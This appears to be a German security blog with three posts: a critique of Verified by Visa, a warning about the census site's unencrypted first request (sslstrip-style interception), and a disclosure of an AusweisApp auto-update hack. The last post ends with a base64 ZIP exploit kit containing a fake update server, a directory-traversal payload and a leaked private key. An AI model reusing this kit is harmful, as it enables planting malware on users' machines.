Verified by Visa – Unsicherheit mit System

Früher konnte man mit einer Kreditkarte einfach online zahlen, indem man Kreditkartennummer und Gültigkeitsdatum (und später noch CVV2) eingegeben hat. Das hatte den Nachteil, dass ein Betrüger, der diese Angaben erfahren hat, auch mit der Karte einkaufen konnte. Besonders einfach ist es natürlich, wenn ein Händler selbst der Betrüger ist oder mit Betrügern zusammenarbeitet.

Deswegen haben sich die Kartenherausgeber ein System ausgedacht, was dieses Problem lösen sollte: Der Händler leitet einen auf die Seite der Bank um, dort meldet man sich mit einem Kennwort an, was nur dem Karteninhaber und der Bank bekannt ist, und die Bank bestätigt, dass der Karteninhaber sich angemeldet hat. Visa nennt das „Verified by Visa“, Mastercard nennt es „Mastercard SecureCode“, und allgemein werden diese Verfahren als 3-D-Secure-Verfahren bezeichnet. Da das Passwort im Gegensatz zu den Kreditkartendaten immer nur zwischen Kunde und Bank (verschlüsselt) ausgetauscht wird, ist es für Betrüger deutlich schwerer, an dieses Passwort zu gelangen. Eigentlich genial.

Eigentlich. Wenn der Nutzer auch tatsächlich das Passwort nur auf der Bankseite eingibt. Dafür muss er wissen, wie er die Bankseite erkennt, und auch darauf achten. Idealerweise, indem die Verifikationsseite, auf der der Kunde sein Verified-by-Visa-Passwort eingibt, auf der dem Kunden bekannten Domain seiner Bank betrieben wird. Aus unerklärlichen Gründen passiert genau das leider oft nicht, und ein Kunde kann nicht wissen, ob die Seite wirklich zu seiner Bank gehört oder nicht. Auch dafür gibt es eine Lösung: Mit EV-Zertifikaten wird der Name des Webseitenbetreibers neben der Adresszeile angezeigt (Beispiel). Darauf könnte man die Kunden trainieren, und Kunden mit Ahnung von IT-Sicherheit hätten etwas, worauf sie sich verlassen könnten.

Das setzt aber voraus, dass die Kunden wirklich auf die Bankseite umgeleitet werden, und somit sehen können, auf welcher Seite sie sind. Immer mehr Händler binden die Bankwebsite aber per IFrame in ihre eigene Website ein, statt den Kunden auf die Bankwebsite umzuleiten. Ohne den Quelltext der Seite auseinanderzunehmen, kann der Kunde nicht sehen, ob das Eingabeformular wirklich von seiner Bank stammt, oder einfach das Passwort einem betrügerischen Onlineshop (oder einem Hacker, der einen echten Onlineshop manipuliert hat) ausliefert. Was eigentlich ein untrügliches Zeichen für Phishing ist (Eingabeformular für Bankpasswort auf Nicht-Bank-Website), ist bei Verified-by-Visa/3D-Secure nicht nur völlig normal, sondern sogar die ausdrücklich empfohlene Art, das 3D Secure-Verfahren umzusetzen.

Um dem Kunden die Echtheit der Seite zu bestätigen, gibt es daher eine „persönliche Begrüßung“, die nach der Eingabe der Kreditkartennummer, aber vor der Eingabe des Passworts, angezeigt wird. Dieses auch auf anderen Seiten beliebte Verfahren ist völlig wirkungslose Scheinsicherheit: Eine bösartige Website, die das Passwort abgreifen will, kann per Software die Website der Bank besuchen, die Kreditkartennummer des Kunden dort eingeben, und bekommt daraufhin die persönliche Begrüßung mitgeteilt. Diese kann sie nun dem Kunden anzeigen und sich so als besonders echt ausweisen. Theoretisch könnte das gegen „dumme“ Phishingseiten schützen, die sich diese Mühe nicht machen wollen, praktisch wird dort das Fehlen der Begrüßung aber den meisten Kunden nicht auffallen.

Das Verfahren mit Kreditkartennummer, Gültigkeitsdatum und später CVV2 war auch notorisch unsicher, führte zu Missbrauch, aber es war bequem. Die Kartenherausgeber nahmen das bewusst in Kauf und übernahmen die Schäden, weil die Kreditkarten gerade durch ihre Bequemlichkeit attraktiv waren – den Kunden konnte die Unsicherheit egal sein, da die Kreditkartenherausgeber die Schäden übernahmen. Mit der Einführung von Verified by Visa/3-D Secure könnte sich das ändern. Mit dem Argument, das Verfahren sei sicher und jeder Missbrauch sei auf Fahrlässigkeit des Kunden zurückzuführen, könnten Banken nun versuchen, die Schäden auf Kunden abzuwälzen. Insbesondere das sinnlose Verfahren mit der persönlichen Begrüßung stinkt förmlich danach, dass das System als deutlich sicherer dargestellt werden soll, als es ist.

Deswegen schreibe ich diesen Beitrag: Das Verfahren ist unsicherer Murks, aber der Kunde hat keine andere Wahl, als es zu benutzen, wenn er seine Kreditkarte nutzen will. Solange die Bank dafür haftet, ist das auch völlig OK. Sollte eine Bank aber versuchen, die Folgen ihrer eigenen Fahrlässigkeit auf die Kunden abzuwälzen, ist dies inakzeptabel. Ich hoffe, dieses Posting trägt dazu bei, dass die Unsicherheit von Verified-by-Visa/3-D Secure besser bekannt wird, und es Banken dadurch schwerer wird, die Schäden unrechtmäßig auf ihre Kunden abzuwälzen.

Das Problem ist übrigens nicht neu und es haben schon zig Leute darüber geschrieben – siehe z. B. das Paper von Steven J. Murdoch und Ross Anderson, die regelmäßig vermurkste Bank-Sicherheitssysteme auseinandernehmen. Von Ross Anderson ist auch dieser herrliche offene Brief (Leseempfehlung!) an einen Kartenherausgeber-Verband, der die Publikation unangenehmer Forschungsergebnisse mit rechtlichen Drohungen verhindern wollte. Anderson findet in seinem vor Sarkasmus triefenden Meisterwerk  sehr deutliche Worte für das Abwälzen von Schäden durch unsichere Systeme auf die Kunden, indem behauptet wird, die Systeme seien sicher.

 

Es gibt noch einen weiteren, viel banaleren Grund, warum ich Verified by Visa hasse: Es ist lästig. Da man in Deutschland Kreditkarten online meist ca. einmal im Jahr braucht, kann ich mir das Passwort nie merken (speichern/aufschreiben darf man es natürlich auch nicht, und die sinnlosen Beschränkungen auf 8-10 Zeichen, die die Comdirect einem aufzwingt, tun ihr übriges). So besteht eine Kreditkartenzahlung für mich immer daraus, dass ich mich bei meiner Bank einloggen und dort mittls PIN+iTAN ein neues Kennwort setzen muss. Sehr komfortabel. Insbesondere, wenn die Bank wie gerade eben Wartungsarbeiten hat, und ich meine Kreditkarte deswegen nicht nutzen kann, oder wenn man dringend unterwegs ein Zugticket per Kreditkarte online bezahlen muss, aber die TAN-Liste zu Hause liegt. Die Kreditkarte ist so vom bequemsten Online-Zahlungsverfahren zum Umständlichsten geworden, ohne auch nur ansatzweise vergleichbare Sicherheit zu bieten. Herzlichen Glückwunsch.

Volkszählung: Online-Übermittlung unsicher

Aus aktuellem Anlass (die Fragebögen sollen bald raus und jemand der einen bekommen soll hat mich kontaktiert) habe ich mir den Zensus-Kram nochmal angeschaut und mir ist eine Sache aufgefallen: Laut dem Musterfragebogen zur Haushaltsbefragung: werden die Leute, die den Fragebogen online ausfüllen wollen, auf „www.zensus2011.de“ geleitet – sollen die Seite also per unverschlüsseltem HTTP aufrufen. Das ist unsicher, und ob danach sofort eine Umleitung auf HTTPS erfolgt, ist im Fall eines aktiven Angriffs irrelevant, da die erste Anfrage über HTTP rausgeht und somit vom Angreifer manipuliert werden kann, bevor der Server überhaupt was mitbekommt und den Nutzer umleiten kann.

Um diese Art von Angriff zu demonstrieren, gibt es eine fertige Software namens „sslstrip“ von Moxie Marlinspike. Schaltet man diese in die Leitung, so fängt sie https-redirects automatisch ab, sodass der Nutzer weiter http nutzt und die Daten im Klartext über die Leitung gehen. Ich weiß nicht wie weit die Software entwickelt ist, d.h. ob sie auch in diesem Fall ohne Anpassungen funktioniert, aber in dem Moment wo die erste Anfrage unverschlüsselt rausgeht, ist der Angriff machbar.

Um Missverständnisse zu vermeiden – das bedeutet NICHT

• dass die Server gehackt wären
• dass Daten schon offen/geklaut/geleakt wären
• dass jeder mit dem Tool einfach so sämtliche Zensusdaten abgreifen kann
• dass Daten im Normalfall (d.h. ohne Angriff) unverschlüsselt verschickt würden
• dass ein rein passiver Angreifer die Daten abgreifen könnte

Ein aktiver Angreifer kann aber die Daten abfangen. Es zeigt vor allem, dass Sicherheit offenbar nicht wirklich ernstgenommen wird – die Lösung wäre einfach gewesen ein https:// auf den Zensusbogen zu schreiben und darauf hinzuweisen, dass diese Adresse exakt einzugeben ist. Nachträglich könnte man das vermutlich am Besten mit einem zusätzlichen Infoblatt noch retten, was man zusammen mit den Fragebögen austeilen könnte.

Was bedeutet „aktiver Angreifer“? Wie auch die AusweisApp-Geschichte setzt dies voraus, dass der Angreifer den Datenverkehr nicht nur abhören, sondern auch manipulieren kann. Das ist nicht trivial, aber machbar und schon vorgekommen. In der IT- und Netzwerksicherheit geht man – nicht ohne Grund – eigentlich immer von einem sogenannten Dolev-Yao-Angreifer aus, der genau diese Möglichkeiten hat. Die Zertifikate, ein ziemlich komplexer Baustein bei SSL, sind auch nicht ohne Grund da. Die verschiedenen Methoden wie sowas passieren kann müsste ich mal ausführlicher bloggen, einige wären:

• DNS-Server der Domain manipulieren (wie z. B. beim Sicherheitsdienstleister Secunia passiert)
• DNS-Server/Cache des Providers manipulieren/vergiften
• DNS-Cache des Routers manipulieren/vergiften
• Falsches kostenloses WLAN
• Angreifer im gleichen Netzwerk (WG, Firma, Schule, verseuchter PC im Haushalt), dann ARP spoofing/poisoning (oder Kontrolle über Proxy/Router)

Diese Angriffe betreffen den Nutzer auch, wenn sein Computer an sich sicher ist! Um sich zu schützen, muss man vor dem Login prüfen, dass a) HTTPS verwendet wird und b) man immer noch auf der richtigen Seite ist.

Die Zensus-Seite für das Online-Ausfüllen ist noch nicht online – ob da noch weitere peinliche Lücken auftauchen weiß ich nicht, ich hoffe nur, dass Finder sie melden oder veröffentlichen statt sie zu missbrauchen.

Eine andere unschöne Geschichte ist noch, dass beim Zensus die ausgefüllten Fragebögen wahlweise bei den Interviewern gelagert werden (siehe auch: NPD ruft Mitglieder auf, Volkszähler zu werden) oder per Post eingeschickt werden können – aber nicht immer an die statistischen Landesämter, sondern teilweise an private Firmen an die der Kram outgesourced wurde.

Zur generellen Kritik am Zensus sei noch gesagt, dass der Zensus keineswegs anonym ist und die Daten jahrelang personenbeziehbar abgelegt sein dürfen. („Hilfsmerkmale“ sind die personenbezogenen Daten)

Abgefragt (und ggf. bei den Interviewern zuhause gelagert!) werden unter anderem:

• Name, Adresse
• Geburtsdatum
• Telefonnummer
• alle Staatsangehörigkeiten
• Religionsgesellschaft (Pflichtfrage!)
• Glaubensrichtung (freiwillig – bei Islam möchte man es gerne genau wissen: sunnitisch, schiitisch oder alevitisch?)
• Zugewandert? Falls ja, wann und woher?
• Das gleiche nochmal für die Eltern!
• Exakter Beruf(z. B. „Blumenverkäuferin“, nicht „Verkäuferin“)
• Stichworte zur Tätigkeit (z. B. „Beratung, Verkauf, Verpacken von Pflanzen“)

Im Bezug auf die Datenschutzversprechen könnte auch mein Artikel über die herumliegenden Daten die gar nicht da sein sollten beim Statistischen Bundesamt interessant sein.

An dieser Stelle sei noch verwiesen auf:

• Die „Volkszählungsfibel“ des AK Zensus (Zensuskritiker) mit einem guten Überblick über den Zensus und die Kritik daran
• Die FAQ auf der offiziellen Seite

UPDATE:
Um die Angriffe zu verdeutlichen, hier ein paar Diagramme (können per Klick vergrößert werden).
Schwarze Linien zeigen unverschlüsselte Verbindungen an, blaue Linien sind HTTPS-Verbindungen (d.h. verschlüsselt und die Identität des Servers wird geprüft).

Zunächst einmal der normale Ablauf ohne Angriff:

Der Nutzer gibt die Adresse auf dem Papierfragebogen ein, sein Browser geht (unverschlüsselt) zum Server und bekommt einen HTTPS-Link auf den Online-Fragebogen. Der Nutzer klickt drauf, sein Browser holt über eine gesicherte Verbindung den Fragebogen ab, der Nutzer loggt sich ein und füllt ihn aus.

Nun ein Angriff:

Der Angreifer leitet sämtliche Verbindungen des Nutzers auf sich um.
Der Nutzer gibt die Adresse auf dem Papierfragebogen ein, sein Browser geht (unverschlüsselt) zum (falschen!) Server und bekommt eine Antwort mit einem HTTPS-Link auf einen falschen Fragebogen auf einer Domain die dem Angreifer gehört (und für die er daher ein Zertifikat hat). Beispielsweise http://www.zensus2011-befragung.de ist noch frei (die echte Seite heißt zensus2011-befragungen.de, was der normale Nutzer aber nicht wissen kann). Eventuelle Sicherheitshinweise auf der Seite mit dem Link sind natürlich auch auf den falschen Namen angepasst. Der Rest läuft wie beim normalen Zensus, nur dass der Nutzer den Fragebogen des Angreifers ausfüllt. Der kann entweder eine Kopie des echten Fragebogens sein, oder gleich noch zusätzliche Fragen enthalten.

Mit sslstrip kann man einen anderen Angriff automatisiert machen:

Das sieht erstmal komplizierter aus, ist es aber nicht, weil es weitgehend automatisch passiert. Der Nutzer bekommt hier einen http-Link auf die echte Domain, die ungesicherten Anfragen fängt der Angreifer wieder ab, leitet sie (per https, weil der echte Server keine unverschlüsselten Anfragen will) an den Server weiter und liefert die Antwort wieder an den Zensus-Teilnehmer. Dabei liest er natürlich mit, wenn der Teilnehmer den Fragebogen ausfüllt.

Statt einem HTTP-Link (der das Opfer eventuell wegen der fehlenden Verschlüsselung stören könnte) kann der Angreifer auch einen HTTPS-Link auf eine andere, eigene Domain (wie bei Angriff 1) liefern, und die an ihn gestellten Anfragen von sslstrip weiterreichen lassen.

Wenn auf dem Fragebogen die Adresse mit https stehen würde, würde es so aussehen:

Bereits die erste Anfrage geht über HTTPS, es gibt keine unverschlüsselten Anfragen! Würde der Angreifer hier angreifen wollen, würde es so aussehen:

Der Browser merkt beim Aufbau der gesicherten Verbindung, dass er nicht mit dem richtigen Server spricht, und bricht mit einer sehr deutlichen Warnmeldung an den User ab.

Die Diagramme sind übrigens mit mscgen erstellt.

AusweisApp gehackt (Malware über Autoupdate)

Gestern Abend wurde die AusweisApp freigegeben, und damit stand fest: Das wird für mich eine lange Nacht. Ich habe mir eine schöne Liste möglicher Angriffe zurechtgelegt. Wenn die einzelnen Angriffe klappen, werden sie einige hässliche Dinge ermöglichen. Ich bin mir recht sicher, dass einer der Angriffe in der Lage sein wird, die PIN und evtl. die aufgedruckte Kartenzugangsnummer zu klauen, ohne dass (wie beim CCC-Angriff) der Rechner des Nutzers verseucht werden muss. Ein anderer Angriff erlaubt es eventuell, dem Nutzer vorzutäuschen, dass er sich für etwas harmloses ausweist, während der Angreifer mit dessen Identität einkaufen geht. Eventuell kann man so auch ein Signaturzertifikat für die qualifizierten elektronischen Signaturen mit dem Namen des Opfers bekommen.

Da ich allerdings weder Lesegerät noch ePerso habe, konnte ich die Angriffe nicht ausprobieren. Also habe ich mir stattdessen die AusweisApp selbst vorgenommen. Von besonderem Interesse war dabei die Updatefunktion. Kann ein Angreifer diese kontrollieren, könnte es ihm gelingen, Malware auf dem Rechner des Users einzuspielen. Das wissen natürlich auch die Entwickler, und deswegen ist die Updatefunktion ordentlich gesichert: Zunächst wird vom Updateserver über eine HTTPS-geschützte Verbindung eine Versionsdatei geholt. Dort wäre für einen Angreifer normalerweise Schluss, denn HTTPS ist (halbwegs) sicher. Der Client überprüft auch, ob das Zertifikat gültig ist – da hört es aber auch schon auf. Der Client prüft nicht, ob das Zertifikat auch zum Servernamen passt! Somit braucht der Angreifer nicht ein gültiges Zertifikat für den Updateserver (welches er hoffentlich nicht bekommen sollte), sondern ein beliebiges gültiges Zertifikat (z. B. für seine eigene Website, welches er selbstverständlich bekommt – Nachtrag: Wir reden hier über gewöhnliche SSL-Zertifikate die es an jeder Ecke gibt, nicht über irgendwelche eID-Berechtigungszertifikate!). Das ist übrigens ein Fehler den man in Java leicht machen kann: Die eingebauten Libraries prüfen soweit ich weiß das Zertifikat, aber den Hostnamen muss man ausdrücklich selbst prüfen.

Mittels einer DNS-Manipulation (für die es im praktischen Einsatz zahlreiche Wege gibt, DNS ist ein völlig unverschlüsseltes Protokoll – zur einfachen Demonstration kann man die Hostsdatei manipulieren) können wir nun den Client überreden, sich zu unserem falschen Update-Server zu verbinden und dessen Zertifikat akzeptieren. Da ich kein eigenes SSL-Zertifikat habe, habe ich einfach das genommen, dessen Key Akamai vor ein paar Jahren freundlicherweise (unfreiwillig) öffentlich gemacht hat. Damit dieses Zertifikat als gültig angesehen wird, muss die Uhr auf dem Client verstellt werden – mit einem aktuellen Zertifikat würde das anders aussehen. (Ich hab auch noch andere, ebenfalls leider abgelaufene, Zertifikate getestet.)

Der Updatefunktion kann nun eine manipulierte Antwort untergeschoben werden, welche sie anweist, eine Datei von einer beliebigen URL herunterzuladen und zu installieren. Der Updater erwartet hierbei eine ZIP-Datei. Diese wird entpackt und dann sollte eigentlich eine bestimmte .msi-Datei darin ausgeführt werden. Hier waren die Entwickler allerdings schlau genug, noch eine Signatur einzubauen, die vor dem Ausführen geprüft wird. Hier ist also eigentlich wieder einmal Schluss. Allerdings wird die ZIP-Datei vor der Signaturprüfung bereits entpackt, und ZIP-Dateien können relative Pfadangaben enthalten. Mit einem (per Hexeditor) in der ZIP-Datei eingebauten „../../“ kann man aus dem temporären Verzeichnis ausbrechen und somit beliebige Dateien ins Dateisystem schreiben (directory traversal). Beispielsweise eine Schadsoftware ins Autostartverzeichnis. Vorhandene Dateien werden übrigens gnadenlos überschrieben.

Ein Dolev-Yao-Angreifer, d.h. ein Angreifer, welcher den Netzwerkverkehr beliebig manipulieren kann, jedoch nicht in der Lage ist als sicher geltende Verschlüsselung zu brechen oder den Client des Opfers vorher zu manipulieren, kann somit aufgrund zweier Implementierungsfehler in der AusweisApp über die Auto-Update-Funktion Schadsoftware einspielen.

Der Angriff ist gegen die aktuelle AusweisApp getestet, die sich bei der Installation als 1.0.1, beim Update als 1.0.0 identifiziert.

Diese Lücke können die Entwickler natürlich relativ einfach schließen. Aber was ist mit den anderen, sicherlich noch vorhandenen, unentdeckten Lücken? Mitgeliefert wird beispielsweise eine Java-VM der Version 6 Update 18 – aktuell ist Update 22. Die Kryptographie des Personalausweises selbst mag bewiesen sicher sein. In den umliegenden Protokollen jedoch erwarte ich die ein oder andere Lücke, von denen sich einige leicht, andere vielleicht gar nicht nachträglich stopfen lassen. Der Panzerschrank mag absolut unknackbar sein – was aber, wenn der Angreifer einfach den Besitzer unter falschem Vorwand bittet, ihn aufzuschließen, und/oder den ganzen Schrank mitnimmt?

Ich bedanke mich jedenfalls für diese nette Herausforderung der heutigen Nacht. Gute Sicherheitsmaßnahmen mit kleinen unscheinbaren Löchern, die kreative Kombinationen von Angriffen erfordern, nicht trivial, aber machbar. Genau nach meinem Geschmack. Hat Spaß gemacht! Den Preis, den diese Wirtschaftsförderungsmaßnahme gekostet hat, ist das allerdings nicht wert.

Die Dateien zum Demonstrieren des Angriffs gibts hier als base64-encodetes ZIP-File:

_=_ 
_=_ Part 001 of 001 of file ausweisapp-updatehack.zip
_=_ 

UEsDBBQAAgAIAOETaT2eURg3hAAAALAAAAAVAAAAdXBkYXRlLW1ldGFzZXJ2ZXIuYmF0TY5BCsIw
EEX3gdxhLjChaBciLryASw8wpJMYWpMymUa9vRgRhL/57y3+P7O/FSghWHOkHChHazq6rhMp44WV
KktjgZYIsieFR5IJIlclUVbnnDWdI9a6oGdRoJnulHbDcHBefmbm17/4VFxgHPeArSfDCba+K1zX
kis7fao1sWiB77s3UEsDBBQAAgAIALMaaT1h0JRCYgIAAM0EAAASAAAAdXBkYXRlcmVzcG9uc2Uu
dHh0jVRdT9swFH0mUv+DVaT1AYiT0gH12qDRwiZBNwSF7W1yk0vrNbUj2yGUX7/rJmmzPkxTHmKf
e865H73p1+n0noZ+SLpBQL7ftrxH0K+gGckKyeeAoaDljbkFRqY5HJMwJI+QOXZIwjPWC1jYJ18m
05Y3UtKCtCfTdYZkC2+Wvq3SHX4Hcm4XDB2CXsvzBpcYJZjKCCWHHczTISBjlQg5H3Zy+3Jy0bmM
vIFRPAP5yq7lK6QqA4IyaVgFD9sLazNGqYkXsOLGx6gL+UrPqTtQqHS03TC7Uskar9J02WgB8fJG
8xUUSi+fsgR7fQCTKWnqXEjb5imKwp8Z4c9ymfgJUIi5TijPhBtieys4/UtQnG7qwaEFNOi7sSRG
zA939N6wnWvJhFHM2MS9TwTErNs7754zC/GClf1VipKtuBEoxsoNszFLjGE4RRYrDTUde8Re8tRG
3kF1mvDfSkf/0U1A9UawcoJDtRzQpoFXX6sxloObqCRPwSVzWHn7hgVGI2HFO8hRKnAVfqE5Pu8i
G9A9Xq10OZ7L3YjCitXEap6QOyyoeE2s4j3ms1UTriz34Yo9BhNrkVkH3SqD25sqA5qMVYEnnpCX
oyNNPqT200zTaPOOfgiZqMKQn/fH5FkYy4/PXYDOIkLJWZ9MrsqUTe8qXTm6ey2UFnYdTbjEu9Lr
UrAXrTQ3Asfc8g6q9lSuY3h6uKt/17Df9cOzC/9j4Ie4c/nGY8Hj5W7oO03tUmb6HG9qu36DOLfQ
rKGK1HTsxArJHeZctu01QayWbsv1mmb1ppTYvz5Cx9n7bun+nwKOwj1/AFBLAwQUAAIACAD2E2k9
H6aICXAAAACNAAAAEQAAAHVwZGF0ZS1zZXJ2ZXIuYmF0c0hNzshXyE9L4+VKTlHIKEnJTy7m5QIL
BlSWZOTn6YanJhWnFpWlFimUZxalKKSnFpckFpWklujp6QH1WMVAlBmZxRSAGXqpFakKuskKSpm5
BflFJQrBQDon1SMkJCAYbIo1uoBeCdBEDU0lBQsDAFBLAwQKAAAAAADQG2k9AAAAAAAAAAAAAAAA
BwAAAGh0ZG9jcy9QSwMEFAACAAgA4xtpPYDhQXusAQAAaAgAABUAAABodGRvY3MvdXBkYXRlaGFj
ay56aXAL8GZm4WIAgVm8mbYMSIAZiPX09APgCmZIoypggyhAUfMazRA+uBrHggKXxJJEPGrFMNQG
5SfmZual49GjgFOPb2ZyUX5xfloJHt0aROgOz8xLyS8vxmOKMQmmBJckFpUo+KbmleIx0IZMA4vy
04sSc5GdekoQ1WQXCk0Gi5UWgG0QYWBi4GA4ALSBbceRVdJAk+WAOIRKNvg6+oQ7BrnGe7gGueqV
VJRwfy/42t3/hb+Xv6i0pJP/4weetg+P/h7+GxPLgPDuYbSA5Ic7Bmxsbp0hUticQFMsiUUxxFW5
qUjaLqEFqTI+bY6lJfnFIGE8IWZMnAEkBQgjkwgD7lwNAQIKEBqcfxEasOVyhAZFpDyP0IMt1yP0
uGIpA3DrFUPRW4inTMBthgKKGUuJKiNwm6aBYtpjksoM3KYao5iqyUhmGYLbAhsUC6oYKS1TEDZh
K1UQNl1hpFYZA7IRdykDAowMCkAbzZhoU+Yg+xlb0YLw82EmLAUNQjO2ogah+QMT3oIHYQy2ogdh
jDozkQUR7mA1RgnWDGayCqYAb1Y2SCHAx1DHAkwP4CIHAFBLAwQUAAIACAAHBrE42Ql9fZsDAAAS
BQAADgAAAGFrYW1haTIwMDguY3J0bZTLjqpKGEbnJLzDmXc6DQjaDPagbiBIoSAXccZFARXQVinh
6U/Z9s4+J9mV1ORPoL6sWl+9v/MFiWm5/yDiB5ZhIRCQ5/BdFKhl4TJACNwvJWAWBKVF4JDHcwxc
WB4v1bE2dSZB4IUGwFCm3pUhL8GR55mE2ZEohCNJKExMIIcEVXTly75hEbfPW9jnjSGlsX6n65zZ
r68c8tDmEQlLb3Kqtxs7FIW8jcYCwSBTHnJhnvqspVeLnO7JoD6sEVSwdCMIaGAei9BfQ7yL7VN+
8odi40oWKa6ikCl2lSG4zhRdolDd4ABMaAAGFxOJHsLBNbrnTP0z8wY36lgQEIeCoykKz/SwoiiK
6MM6gPJ1ZheYofGVxHKVrmG4jd0ua/RrphTn7eZPRvMAElH4nZLEhJ9R3rdrrUoV45bEx3vWRBK1
zD0FkonWF3NtZRPskSdVAFTTBRhBUai9BSw91OpaodyMGnXD4fih3uHuNNpfxgiTUTrARWzcNHn3
kQZHY69KenhFRvu2umtFLAqf9HDcD2m9q1J9WlLSx0pSu1/FV/f5kLSI/wgsgqoyfAVLePD7xLm9
2aF2yCcjGHtf5hlkOF1eLrNJMPP3DzThqNvl9jS7nvLWXywUFGYkMPs8LM9UPeXMYBYGHoCdakEf
I8RJhuBliC8FEFiMWxM82czXgAQYLigpOYOrCTwPXgMVAgxmFB9NhJ6z0OAkuYdGLXfF3GfL+rMv
JsXEaaGcNI9zMsjSyxftkClS78kwcCT9ljWn79t3mkriPsSMIfadYcUhY1CGJedvv3LwBAlh+6mh
nec5K34c+K8BomBiEP92AEsv77KJzfiuvh09kJai8GX9g+5+rNeSJhqiuc1J5hOvDBX9Wmz8c6Zo
o4OgnTWUd4Ey69UFTB7n/3XhpwnzzNRrUUhiVoaN3hcWb2waMv9FdQ+xylYYTDtcl26XSOncl3Lc
9Q7nVAwaK2L7msb0JgoFT8Jz3BNFvzmK26ZruU5jlVOzqTNajAZlnyg+cxp3yP7SeH6bYMmdBPVi
lplnw4JfxxFowUc5hubOabTNvZnpEjubxeWDII0ZdBtr8K3ttDJNrIXKnbxu2TC1tNWyppVXvc1J
xnVdfhZZZhhRr8HtqLHLpmxNDUlFERudelgjz/CPTrhzSeaLwnDprbHRTCM6bLU3eTbYY1uHSbp1
usNybIvyknwuTDgkfdV6Uy1feb9+icL3A0dc/JdH719QSwMEFAACAAgA4gWxOJ1Lj5+1AgAAdwMA
AA4AAABha2FtYWkyMDA4LmtleW2Tx46DSABE73zF3NHIAbDh2DRNNGCy4WaTo4Emf/3O7nnrWlLp
qaT3+/sXHkmK8WM74OdpKz5w0Y+Gwn+LX0JXFPiyFB4Ajc8t2HFMcp3EEn73qj7RM582hzqKBx8e
54rXAnFiLunp7dZiRp85D0NC7MjnzCQBq1d1tr/LtHhzt1xHS3ANS2NMxi+7nRn/bwdoblGI9lU4
C7u9hI+JVD2mImLqAMdiX8oLfzOH4U65dzvbIBWoTWdGzR03cWdr2hV6H+RKS+zlvU438SquigAs
wBPgK4HUl467KUoPw2c/cJTxIwgpSpY/Xvxtg55Zb0ZF0RDRRlvs+MZHS9lL1YktbolDsEuKIPpc
pzIIJWWLGHU4z0tbKvhTRubL0gO5bx2NZ3NOH7WLy1n0Md+1iQ7FOQiCjDiWR3CFwfzZb1ORgI2c
B6cyVcw4YbO3iWnEumewj3f77PingqBlCUltCWwnf5e9bUaiALrue6JaxH5Stxw+H9DWH9/UMTZ2
74D5qSSvHbV3Iaj1pHXnFdApObQKMs71VkOFmJvllcr8AmoE1kJp6tV/zl075u3oNq91gj0FySHG
5KPakqq7MAUXorzbltvjrECICbogD67f1rJ2KqnlXKveaUNJ7rBM8IQxebVUHmhP2Se5cqfYXIXu
Vgic0aTCSbYRQ5D+xCLjBpVGDutcZ/ETMIfgKJfIe5vba2JSs7DY+5AvtylQhjJ+tbnKTXvF1n9/
wIxgKDl+6ijr43fpsQIdUQbjTt24H/W4j/dtyL79K7DqrzFSsGeivtNw3AkShZsTJi1MIMManHe/
RZ8VJfgqfrm5BzXw12g1BujzXucs40sbMk66MugPzexZXPF7srwRTYOYsFNID/b2zJJOHoWA0wdJ
8xQJBQFW4BT3kpS5TpUmUas3xH/6IEP4f63+AVBLAwQUAAIACABgIGk9ajmUCw4CAABsAwAACgAA
AFJFQURNRS50eHRtUk1vGjEQva/Ef5hwAilrpbQlFTcapH6lDQqBVlEuhp0FF+94ZY+7CT+cUw4d
LwghtZf1yn7zZua9N44lFFhBd0xrj6ZE383vcbUh9NCgL5BgibRns+ZRJ4Mcpi+8cQQDNQRDcDN6
qtuLwfCpfaaVZjAVTEtddLJO9kbBOIYGTdB1DVq6PRq0/tjBUGBtrUGP1MkGCpqmUfqEV8tIhSoQ
5IDCNWSdLv73nnjPNoBYWTQss/d2Cj4q2LjAoTQW+53srYK7tBdbs9ogPKJnU5qtZgQ0tNRRylwh
wxUGYb7xLXmS6HzwXfSvq21gtFbgCfFVU9QeBldXH6C3RAOL7432ODqe+YNzNgCbCiG80EpqwoVM
805BrAtp7jHUjgIqfmbQVOsQ0vyT49b5/P72Em4cyVac3yKteSPl75O8/zgIybbZ3XgqVibWtE3v
0CavkHVA/we9WmruH6QVeHfevnfzWft4wp9jxSzPyanhydWxuHq8bqmCiHrciMC2S6hOdq3gSyUl
7FosBGet6P0becdJdYQHfOZUZEDSsEa6bOVv2UjLJ4Eq+IHxQLAvS0JWMNEBtnsSVUTQAwwWxscA
QX5VSuAnZBSjGCrD8NPQrylMMHIQ9Gwqkft2Vh7lzyfQNZSRtmwctdkUNWh95Om3rAsJg9xPNG2h
fD2ERSYSos/oxdvSSca8VF0kdJ6nfPwFUEsBAhQAFAACAAgA4RNpPZ5RGDeEAAAAsAAAABUAAAAA
AAAAAQAgIAAAAAAAAHVwZGF0ZS1tZXRhc2VydmVyLmJhdFBLAQIUABQAAgAIALMaaT1h0JRCYgIA
AM0EAAASAAAAAAAAAAEAICAAALcAAAB1cGRhdGVyZXNwb25zZS50eHRQSwECFAAUAAIACAD2E2k9
H6aICXAAAACNAAAAEQAAAAAAAAABACAgAABJAwAAdXBkYXRlLXNlcnZlci5iYXRQSwECFAAKAAAA
AADQG2k9AAAAAAAAAAAAAAAABwAAAAAAAAAAABAgAADoAwAAaHRkb2NzL1BLAQIUABQAAgAIAOMb
aT2A4UF7rAEAAGgIAAAVAAAAAAAAAAAAICAAAA0EAABodGRvY3MvdXBkYXRlaGFjay56aXBQSwEC
FAAUAAIACAAHBrE42Ql9fZsDAAASBQAADgAAAAAAAAABACAgAADsBQAAYWthbWFpMjAwOC5jcnRQ
SwECFAAUAAIACADiBbE4nUuPn7UCAAB3AwAADgAAAAAAAAABACAgAACzCQAAYWthbWFpMjAwOC5r
ZXlQSwECFAAUAAIACABgIGk9ajmUCw4CAABsAwAACgAAAAAAAAABACAgAACUDAAAUkVBRE1FLnR4
dFBLBQYAAAAACAAIAOoBAADKDgAAAAA=

(SHA1: 22b96851042bfece3c641851eaa6e890a7b28bff)

Kontakt/Fragen bitte über die Kommentarfunktion wenn es Zeit hat oder per Jabber (XMPP, Google Talk) an janschejbal at jabber.ccc.de (das ist keine Mailadresse!) wenn es dringend ist. Telefon ist ungünstig. Notfalls geht auch Mail an janhomepage [at] gmx punkt net.

Kostenlose SSL-Zertifikate, auch für IE

